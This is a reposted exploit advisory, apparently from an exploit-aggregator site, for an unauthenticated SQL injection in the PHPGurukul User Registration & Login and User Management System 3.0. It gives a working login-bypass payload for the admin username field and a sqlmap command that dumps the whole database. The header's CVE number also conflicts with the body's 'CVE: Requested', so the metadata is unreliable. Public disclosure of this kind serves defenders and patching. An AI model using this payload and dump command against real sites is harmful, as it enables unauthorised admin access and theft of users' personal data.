Advertisement






User Registration And Login And User Management System 3.0 SQL Injection

CVE Category Price Severity
CVE-2021-32483 CWE-89 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2023-08-24
CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023080086

Below is a copy:

User Registration And Login And User Management System 3.0 SQL Injection
# Exploit Title: User Registration & Login and User Management System v3.0 - SQL Injection (Unauthenticated)
# Google Dork: NA
# Date: 19/08/2023
# Exploit Author: Ashutosh Singh Umath
# Vendor Homepage: https://phpgurukul.com
# Software Link:
https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 3.0
# Tested on: Windows 11
# CVE : Requested


Proof Of Concept:

1. Navigate to the admin login page.

URL: http://192.168.1.5/loginsystem/admin/

2. Enter "*admin' -- -*" in the admin username field and anything
random in the password field.

3. Now you successfully logged in as admin.

4. To download all the data from the database, use the below commands.

  4.1. Login to the admin portal and capture the request.

  4.2. Copy the intercepted request in a file.

  4.3. Now use the below command to dump all the data


Command:  sqlmap -r <file-name> -p username -D loginsystem --dump-all



Thanks and Regards,

Ashutosh Singh Umath

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.